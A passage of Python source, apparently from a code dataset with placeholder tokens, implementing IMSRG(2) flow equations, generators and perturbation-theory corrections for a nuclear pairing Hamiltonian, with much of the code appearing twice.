f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\ndef calc_mbpt3(f, Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n DE3pp = 0.0\n DE3hh = 0.0\n DE3ph = 0.0\n for a in particles:\n for b in particles:\n for c in particles:\n for d in particles:\n for i in holes:\n for j in holes:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[i, i] + f[j, j] - f[c, c] - f[d, d])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c,\n d], idx2B[i, j]]\n DE3pp += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for l in holes:\n for a in particles:\n for b in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[l, l] - f[a, a] - f[b, b])\n me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[\n idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i,\n j], idx2B[a, b]]\n DE3hh += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for a in particles:\n for b in particles:\n for c in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[j, j] - f[a, a] - f[c, c])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a,\n c], idx2B[k, j]]\n DE3ph -= me / denom\n return DE3pp + DE3hh + DE3ph\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\ndef commutator(a, b):\n return dot(a, b) - dot(b, a)\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = 